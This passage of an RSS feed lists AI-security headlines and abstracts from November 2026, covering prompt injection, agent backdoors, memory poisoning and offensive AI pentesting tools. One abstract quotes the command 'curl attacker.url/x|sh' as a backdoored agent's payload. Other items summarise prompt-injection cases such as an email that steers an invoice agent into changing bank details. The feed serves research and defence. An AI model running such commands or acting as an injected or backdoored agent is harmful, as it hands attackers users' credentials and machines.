2026 19:46:07 GMT</pubDate><category>Research</category><category>AI Security</category><description>AI agent interoperability protocols enable orchestrators to discover and invoke external agents using machine-readable metadata. In the Agent2Agent (A2A) protocol, Agent Cards contain attacker-controllable natural-language fields that may influence agent selection before a…</description></item><item><title>VA-26-317-01: Jet Admin Cloud Platform Prompt Injection</title><link>https://github.com/cisagov/CSAF/blob/develop/csaf_files/IT/white/2026/va-26-317-01.json</link><guid isPermaLink="false">keryn-headlines-event-ev_be758ed83a5d</guid><pubDate>Fri, 13 Nov 2026 16:45:20 GMT</pubDate><category>Advisory</category><category>AI Security</category><description>A prompt injection vulnerability in all versions of Jet Admin Cloud Platform allows a remote attacker with a free account to expose sensitive .env configuration files and exfiltrate critical credentials.</description></item><item><title>ARTEX: Attackers Adopted This AI Pentesting Tool in Three Months. Leaked Secrets Are Its Fastest Way In.</title><link>https://stepsecurity.io/blog/artex-ai-pentesting-tool-attackers-leaked-secrets</link><guid isPermaLink="false">keryn-headlines-event-ev_538c1c30d754</guid><pubDate>Fri, 13 Nov 2026 15:22:30 GMT</pubDate><category>Research</category><category>AI Security</category><description>ARTEX is an open-source tool where AI agents run a penetration test on their own. Since August 2026, state-aligned groups, criminal crews and one runaway research agent have pointed ARTEX at hundreds of organizations. In one case, an agent went from a GitHub search for leaked…</description></item><item><title>How one AI agent exposed five critical enterprise security gaps</title><link>https://bleepingcomputer.com/news/security/how-one-ai-agent-exposed-five-critical-enterprise-security-gaps</link><guid isPermaLink="false">keryn-headlines-event-ev_43b4b7078bc5</guid><pubDate>Fri, 13 Nov 2026 15:01:11 GMT</pubDate><category>Analysis</category><category>AI Security</category><description>An AI agent built to automate invoice processing could be manipulated into changing vendor bank details through a malicious email, without triggering traditional security alerts. Token Security examines five critical AI agent security gaps and shares practical guidance from…</description></item><item><title>Your pinned MCP server may not be as pinned as you think</title><link>https://helpnetsecurity.com/2026/11/13/corelight-mcp-server-supply-chain</link><guid isPermaLink="false">keryn-headlines-event-ev_310bd25738dc</guid><pubDate>Fri, 13 Nov 2026 05:30:22 GMT</pubDate><category>Research</category><category>AI Security</category><description>An MCP server configured to run one fixed release on an administrator’s workstation ran with 15 different sets of dependencies over five weeks, with its configuration untouched. James Lagermann, Director of Technical Alliances at Corelight, found the drift in his company’s lab.…</description></item><item><title>United Airlines blocks AI agents from booking flights, citing cybersecurity risks</title><link>https://techcrunch.com/2026/11/12/united-airlines-blocks-ai-agents-from-booking-flights-citing-cybersecurity-risks</link><guid isPermaLink="false">keryn-headlines-event-ev_ecb4200decb0</guid><pubDate>Thu, 12 Nov 2026 17:17:58 GMT</pubDate><category>Incident</category><category>AI Security</category><description>The airline said it will not allow customers to use AI agents to book flights and manage reservations.</description></item><item><title>CapLite: Prompt-Injection Defense for Small Language Model Agents without Model-Written Security Artifacts</title><link>https://arxiv.org/abs/2611.17115</link><guid isPermaLink="false">keryn-headlines-event-ev_26b65b910ae8</guid><pubDate>Thu, 12 Nov 2026 17:07:22 GMT</pubDate><category>Research</category><category>AI Security</category><description>Enforcement defenses against prompt injection, such as CaMeL, Progent, IPIGuard and DRIFT, ask the agent&#39;s own model to write a security artifact (a program, a privilege policy, a dependency graph or a constraint list) that code then enforces. We ask whether small language…</description></item><item><title>Trained to betray: How post-training supply chain attacks hijack coding agents</title><link>https://microsoft.com/en-us/security/blog/2026/11/12/trained-to-betray-how-post-training-supply-chain-attacks-hijack-coding-agents</link><guid isPermaLink="false">keryn-headlines-event-ev_a871759c1f14</guid><pubDate>Thu, 12 Nov 2026 17:00:00 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><category>Models</category><category>SCA</category><description>Microsoft Defender Research and the AI Red Team discuss how poisoned datasets and poisoned model checkpoints can trigger remote code execution and other malicious activities.</description></item><item><title>Attackers Use Autonomous AI to Target Semiconductor, Defense and Civil Society Sectors</title><link>https://unit42.paloaltonetworks.com/cairn-framework-ai-autonomous-attacks</link><guid isPermaLink="false">keryn-headlines-event-ev_14a0e8a234cd</guid><pubDate>Thu, 12 Nov 2026 15:00:31 GMT</pubDate><category>Research</category><category>AI Security</category><description>Our analysis of how attackers used the open-source Cairn AI agent framework to autonomously breach semiconductor, defense and civic targets.</description></item><item><title>Scale-Induced Semantic Shift in Visual Prompt Injection Against VLMs and Web Agents</title><link>https://arxiv.org/abs/2611.16744</link><guid isPermaLink="false">keryn-headlines-event-ev_72f16d0e45fb</guid><pubDate>Thu, 12 Nov 2026 12:57:11 GMT</pubDate><category>Research</category><category>AI Security</category><description>Visual content in multimedia systems may be resized, compressed, or re-rendered before it is interpreted by a vision-language model. We study a security failure mode in which these transformations change the machine-readable semantics of an image: a textual instruction is not…</description></item><item><title>MobileProbe: Adaptive Security Evaluation of Mobile Agents via Trajectory-Aware Injection</title><link>https://arxiv.org/abs/2611.16693</link><guid isPermaLink="false">keryn-headlines-event-ev_446964ff823b</guid><pubDate>Thu, 12 Nov 2026 12:08:43 GMT</pubDate><category>Research</category><category>AI Security</category><description>Mobile GUI agents read the screen of a phone and operate apps on a user&#39;s behalf to complete multi-step tasks such as online shopping or messaging. Because the agent acts on whatever the screen shows, an attacker can embed malicious instructions into ordinary UI content and…</description></item><item><title>Inside an AI Attack Against a US Retailer</title><link>https://darkreading.com/cyberattacks-data-breaches/inside-ai-attack-us-retailer</link><guid isPermaLink="false">keryn-headlines-event-ev_9e7789d9ca42</guid><pubDate>Thu, 12 Nov 2026 11:00:00 GMT</pubDate><category>Incident</category><category>AI Security</category><description>When hand-typed commands failed to breach a US retailer, the attacker turned to AI-generated scripts, achieving lateral movement in minutes.</description></item><item><title>Intent-Aware Protection for AI Agents</title><link>https://arxiv.org/abs/2611.16122</link><guid isPermaLink="false">keryn-headlines-event-ev_0b5a2fab5326</guid><pubDate>Thu, 12 Nov 2026 00:17:31 GMT</pubDate><category>Research</category><category>AI Security</category><description>AI agents increasingly access enterprise data, invoke powerful tools, and act with limited human oversight. Existing security defenses primarily detect prompt injection, harmful outputs, or suspicious behavior, but do not determine whether an agent remains faithful to the…</description></item><item><title>The applied AI playbook for AppSec</title><link>https://endorlabs.com/learn/four-levels-for-architecting-security-into-agentic-sdlc</link><guid isPermaLink="false">keryn-headlines-event-ev_1e2b80141659</guid><pubDate>Wed, 11 Nov 2026 15:43:28 GMT</pubDate><category>Guide</category><category>AI Security</category><description>A practical guide for AppSec leaders: assess your AI maturity across four levels, avoid common traps, and plan your first 90 days of agentic security.</description></item><item><title>We Built An Agent That Broke All of Our Security Rules. Here&#39;s What We Learned.</title><link>https://thehackernews.com/2026/11/we-built-agent-that-broke-all-of-our.html</link><guid isPermaLink="false">keryn-headlines-event-ev_f9968a97d9d5</guid><pubDate>Wed, 11 Nov 2026 12:01:59 GMT</pubDate><category>Analysis</category><category>AI Security</category><description>We tell customers three things about securing AI agents: they need their own identities, access that fits the job they’re given, and traceability that’s separate from any human’s. That was true for us at Token as well. Then, we built an agent that broke all three by default.…</description></item><item><title>Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents</title><link>https://arxiv.org/abs/2611.15118</link><guid isPermaLink="false">keryn-headlines-event-ev_9b44e5aefd6a</guid><pubDate>Wed, 11 Nov 2026 06:53:24 GMT</pubDate><category>Research</category><category>AI Security</category><category>Models</category><description>Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity…</description></item><item><title>When Safety Becomes an Attack Surface: Manipulating Abstention in Tool-Using AI Agents</title><link>https://arxiv.org/abs/2611.14864</link><guid isPermaLink="false">keryn-headlines-event-ev_136383ebf3b9</guid><pubDate>Wed, 11 Nov 2026 00:36:25 GMT</pubDate><category>Research</category><category>AI Security</category><description>An AI agent&#39;s decision not to act can itself become an attack surface. We study warning-induced over-abstention, an availability attack in which adversaries place fabricated risk warnings in low-trust content to prevent legitimate task completion. Our central premise is that…</description></item><item><title>OverServe: Resource Amplification Attacks on SaaS Agents via Tool--Prompt Co-Design</title><link>https://arxiv.org/abs/2611.14808</link><guid isPermaLink="false">keryn-headlines-event-ev_9016acb9661a</guid><pubDate>Tue, 10 Nov 2026 22:50:35 GMT</pubDate><category>Research</category><category>AI Security</category><description>Advances in large language models (LLMs) are enabling software-as-a-service (SaaS) providers to automate longer business workflows with agents. In subscription-based SaaS deployments, model and tool calls consume provider resources without additional customer payments. Because…</description></item><item><title>Grok Build coding agent leaks oodles of confidential info, some belonging to SpaceXSI</title><link>https://arstechnica.com/security/2026/11/grok-build-coding-agent-leaks-oodles-of-confidential-info-some-belonging-to-spacexsi</link><guid isPermaLink="false">keryn-headlines-event-ev_73b1970125db</guid><pubDate>Tue, 10 Nov 2026 21:12:59 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><description>Researcher finds 35,000 Grok Build apps wide open to anyone who looked for them.</description></item><item><title>How to Contain Shadow AI, As It Takes on Multiple Forms and Spreads Throughout Your Environment</title><link>https://cloudsecurityalliance.org/articles/how-to-contain-shadow-ai-as-it-takes-on-multiple-forms-and-spreads-throughout-your-environment</link><guid isPermaLink="false">keryn-headlines-event-ev_7610553bcaa9</guid><pubDate>Tue, 10 Nov 2026 19:56:18 GMT</pubDate><category>Guide</category><category>AI Security</category><description>TL; DR Shadow AI used to be confined to a few simple scenarios, such as AI chatbots and AI browser extensions. Today, it spans a broad spectrum of complex vectors, making it harder to detect and control. In tthis blog, we look at how employee security training, AI usage…</description></item><item><title>AI Coding Agents Leak Thousands of Secrets to GitHub</title><link>https://darkreading.com/cyber-risk/ai-coding-agents-leak-secrets-github</link><guid isPermaLink="false">keryn-headlines-event-ev_8f6d0e7119d4</guid><pubDate>Tue, 10 Nov 2026 18:46:22 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><description>A command in Claude Code inadvertently saves files with credentials and other sensitive data to public Git repositories, creating security gaps for organizations.</description></item><item><title>How to Evaluate AI Agent Cybersecurity Capabilities</title><link>https://wiz.io/blog/cyber-model-arena-ai-benchmark</link><guid isPermaLink="false">keryn-headlines-event-ev_b61ba6f2d570</guid><pubDate>Tue, 10 Nov 2026 16:03:25 GMT</pubDate><category>Guide</category><category>AI Security</category><description>A tutorial for building a benchmark for offensive agents, based on how we built the Wiz Cyber Model Arena</description></item><item><title>Help defend against memory poisoning in Amazon Bedrock AgentCore with multi-layer write validation</title><link>https://aws.amazon.com/blogs/security/help-defend-against-memory-poisoning-in-amazon-bedrock-agentcore-with-multi-layer-write-validation</link><guid isPermaLink="false">keryn-headlines-event-ev_866466c6d10c</guid><pubDate>Mon, 09 Nov 2026 19:05:52 GMT</pubDate><category>Guide</category><category>AI Security</category><description>Amazon Bedrock AgentCore Memory helps AI agents maintain context across sessions through persistent short-term and long-term memory. Because memory content is automatically retrieved and injected into future conversations, the integrity of what gets written to memory directly…</description></item><item><title>The AI Security Gap Hiding in Routine Maintenance</title><link>https://openssf.org/blog/2026/11/09/the-ai-security-gap-hiding-in-routine-maintenance</link><guid isPermaLink="false">keryn-headlines-event-ev_85c1ca0fdd07</guid><pubDate>Mon, 09 Nov 2026 17:42:25 GMT</pubDate><category>Analysis</category><category>AI Security</category><category>SCA</category><description>AI coding tools are speeding up software development and adding external dependencies faster than teams can review them. Discover why routine maintenance and component updates have become the hidden security gap for organizations today.</description></item><item><title>Claude Code is accidentally exposing secrets all over GitHub</title><link>https://arstechnica.com/ai/2026/11/claude-code-settings-files-expose-thousands-of-secrets-on-github</link><guid isPermaLink="false">keryn-headlines-event-ev_5697743f6c96</guid><pubDate>Mon, 09 Nov 2026 17:24:26 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><description>&quot;Do not ask again&quot; prompt leads to passwords, API keys, and more being shared.</description></item><item><title>Say Shibboleth: Fingerprinting the LLMs and Harnesses Behind Agentic Attacks</title><link>https://arxiv.org/abs/2611.12386</link><guid isPermaLink="false">keryn-headlines-event-ev_9b465b5b7fea</guid><pubDate>Mon, 09 Nov 2026 13:27:13 GMT</pubDate><category>Research</category><category>AI Security</category><description>We study the fingerprinting of agentic cyberattacks. Our objective is to reliably infer information about the attacker&#39;s configuration, such as LLM version and harness, from telemetry. To achieve this, we introduce a technique we call shibboleth traps: modular honeypot services…</description></item><item><title>Detecting Shadow AI: Unsanctioned LLM Agents on Enterprise Endpoints: A Taxonomy, an Open Detector and a Controlled Evaluation</title><link>https://arxiv.org/abs/2611.12377</link><guid isPermaLink="false">keryn-headlines-event-ev_1f6c98739366</guid><pubDate>Mon, 09 Nov 2026 13:19:45 GMT</pubDate><category>Research</category><category>AI Security</category><description>Shadow IT, the use of technology that the IT organisation has not approved, is a long-standing governance problem. We argue that autonomous AI agents can make it grow much faster: agents make building tools nearly free, act with their user&#39;s privileges, and leave behind…</description></item><item><title>Harness Matters: Measuring and Dissecting Security Resilience in Web Agents</title><link>https://arxiv.org/abs/2611.11971</link><guid isPermaLink="false">keryn-headlines-event-ev_218622f8d722</guid><pubDate>Mon, 09 Nov 2026 06:53:04 GMT</pubDate><category>Research</category><category>AI Security</category><description>Web agents extend LLMs from text generation to real-world web interaction by relying on execution harnesses that interpret user goals, perceive webpages, plan actions, and ground model decisions into browser operations. While prior work has recognized that agent security…</description></item><item><title>Scaling Adaptive Prompt Injection Attacks with Agent Swarms</title><link>https://arxiv.org/abs/2611.11861</link><guid isPermaLink="false">keryn-headlines-event-ev_431c8c16ed17</guid><pubDate>Mon, 09 Nov 2026 04:34:14 GMT</pubDate><category>Research</category><category>AI Security</category><category>Models</category><description>Prompt injections have emerged as one of the top security risks faced by AI agents today. Early work in prompt injection attacks looked at simple tool-call agents and static attack payloads, and were saturated since mid-2025. As of Fall 2026, human red-teaming may be nearing…</description></item><item><title>On the hunt for ARTEX: understanding agentic attacks in AWS environments</title><link>https://securitylabs.datadoghq.com/articles/artex-agentic-attacks-aws-environments</link><guid isPermaLink="false">keryn-headlines-event-ev_1b159a6a61ed</guid><pubDate>Mon, 09 Nov 2026 00:00:00 GMT</pubDate><category>Research</category><category>AI Security</category><description>We share in-the-wild activity from ARTEX, an AI-native penetration framework, against AWS environments, including CloudWatch log hunting with compromised access keys and abuse of public Cognito user pools.</description></item><item><title>Say Yes To MCP, Safely A Guide For Governing AI Coding Agents With Evo ADS</title><link>https://snyk.io/blog/governing-ai-coding-agents-evo-ads</link><guid isPermaLink="false">keryn-headlines-event-ev_544998e7d5dd</guid><pubDate>Mon, 09 Nov 2026 00:00:00 GMT</pubDate><category>Guide</category><category>AI Security</category><category>Trust</category><description>Learn how to inventory MCP servers, assess risk, monitor policy impact, and block high-risk connections without disrupting developers. Evo ADS helps teams govern AI coding agents with confidence.</description></item><item><title>Treating the Model as an Untrusted Component: Deterministic Policy Enforcement, Human Approval and Taint Tracking Against Prompt Injection in Tool-Using Agents, with Validation on Open-Weights Models</title><link>https://arxiv.org/abs/2611.11571</link><guid isPermaLink="false">keryn-headlines-event-ev_b202a2645235</guid><pubDate>Sun, 08 Nov 2026 19:33:25 GMT</pubDate><category>Research</category><category>AI Security</category><description>Tool-using LLM agents act on instructions embedded in the data they read, so prompt injection is a structural rather than a prompt-wording problem. We compare in-prompt defences (hardened prompts, spotlighting, LLM detectors) with deterministic enforcement outside the model…</description></item><item><title>PRISM: Causal Counterfactual Minimization of Agent Tool Privileges via Information Bottleneck Role Induction</title><link>https://arxiv.org/abs/2611.11539</link><guid isPermaLink="false">keryn-headlines-event-ev_dbeba7c35f9b</guid><pubDate>Sun, 08 Nov 2026 18:24:07 GMT</pubDate><category>Research</category><category>AI Security</category><description>This paper shifts the object of role engineering from human users to large language model (LLM) agents, and proposes PRISM to address the over-authorization that arises when an agent obtains full tool privileges through the Model Context Protocol (MCP). PRISM formulates whether…</description></item><item><title>On the Relative Security of Prompt Injection: Mechanised Definitions, Defences and Verdicts for LLM Agents</title><link>https://arxiv.org/abs/2611.11506</link><guid isPermaLink="false">keryn-headlines-event-ev_00829dbe062b</guid><pubDate>Sun, 08 Nov 2026 17:20:48 GMT</pubDate><category>Research</category><category>AI Security</category><description>An LLM agent that reads untrusted content, such as an email or a web page, may follow instructions hidden in it. Noninterference is too strong for such agents, since a useful agent lets untrusted content influence what it does and may disclose the user&#39;s data by design, and…</description></item><item><title>When Coding Agents Get Arms: Safety Risks Across the Digital-Physical Boundary</title><link>https://arxiv.org/abs/2611.11438</link><guid isPermaLink="false">keryn-headlines-event-ev_78128e431680</guid><pubDate>Sun, 08 Nov 2026 15:02:47 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><description>Advances in spatial understanding have enabled frontier models to power coding agents that control a real robot arm zero-shot and end-to-end, without task-specific demonstrations or retraining. This brings two new safety challenges. First, the extensive knowledge of frontier…</description></item><item><title>Least-Privilege Auditing of Agent Tool Calls with Intent Graphs and Reasoning-Guided Escalation</title><link>https://arxiv.org/abs/2611.11305</link><guid isPermaLink="false">keryn-headlines-event-ev_ad040f483233</guid><pubDate>Sun, 08 Nov 2026 11:05:45 GMT</pubDate><category>Research</category><category>AI Security</category><category>Trust</category><description>LLM agents that call tools are exposed to indirect prompt injection: instructions hidden in tool outputs can steer an agent into calls the user never asked for. We present a runtime audit that derives an executable intent graph from the user&#39;s objective and the deployment&#39;s…</description></item><item><title>ErosionBench: Probing Alignment Decay in Enterprise Multi-Agent Systems</title><link>https://arxiv.org/abs/2611.11266</link><guid isPermaLink="false">keryn-headlines-event-ev_3a452ea56975</guid><pubDate>Sun, 08 Nov 2026 09:40:52 GMT</pubDate><category>Research</category><category>AI Security</category><description>As enterprises delegate consequential work to multi-agent LLM systems, benign-looking requests can escalate into unsafe actions as they propagate across sessions through poisoned shared state, long-context documents, and trusted peer messages: no single message is malicious,…</description></item><item><title>Tracing MCP Security Vulnerabilities: Constructing and Analyzing an MCP Security Vulnerability Dataset</title><link>https://arxiv.org/abs/2611.11104</link><guid isPermaLink="false">keryn-headlines-event-ev_6dbe19cb5628</guid><pubDate>Sun, 08 Nov 2026 03:36:38 GMT</pubDate><category>Research</category><category>AI Security</category><description>As a core protocol for integrating large language models (LLMs) with external data sources and tools, the Model Context Protocol (MCP) has quickly become a key interface in emerging AI agent systems. As the MCP ecosystem expands, reported vulnerabilities have also increased,…</description></item><item><title>CyberBinGym: Can AI Agents Turn Binary Patches into Real Exploits?</title><link>https://arxiv.org/abs/2611.10723</link><guid isPermaLink="false">keryn-headlines-event-ev_8ea5373dc7fd</guid><pubDate>Sat, 07 Nov 2026 13:31:11 GMT</pubDate><category>Research</category><category>AI Security</category><category>Remediation</category><category>SAST</category><description>Security fixes usually reach users as compiled updates, but deployment delays leave unpatched systems exposed. During this window, comparing patched and unpatched binaries can reveal how to exploit a vulnerability, turning a defensive update into actionable information for…</description></item></channel></rss>